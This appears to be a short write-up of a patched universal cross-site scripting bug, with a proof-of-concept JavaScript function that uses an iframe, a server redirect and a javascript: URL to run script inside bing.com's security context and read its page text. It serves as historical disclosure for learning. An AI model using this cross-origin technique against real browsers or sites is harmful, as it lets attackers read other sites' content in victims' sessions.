UXSS: Injected iFrame + Server Redirect + javascript: Location

Inserting an iFrame pointing to a server-redirect page, caching a reference to top from inside the iFrame’s setTimeout, and then assigning a javascript: URL to the iFrame’s contentWindow.location after the redirect completed executed the script in the redirected page’s security context.

function main()
{
	document.getElementById("myDiv").innerHTML = '<iframe id="ifx" src="redirect.aspx" width="600" height="200"></iframe>';
	window[0].setTimeout(
		'myTop=top;' +
		'alert("Wait until Bing loads and then click OK ...");' +
		'myTop.document.getElementById("ifx").contentWindow.location = ' +
		'"javascript:alert(document.URL + document.body.innerText)"'
	);
}

redirect.aspx performed a server-side redirect to bing.com. The setTimeout was registered inside the iFrame’s window — so when it fired, it ran in the iFrame’s context even though that context had already redirected to Bing. Saving top as myTop before the redirect was critical: without it, top would no longer be accessible after the cross-origin redirect. With the reference in hand, the script set the iFrame’s contentWindow.location to javascript:alert(document.URL + document.body.innerText), which executed inside Bing’s security context and read its page content.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.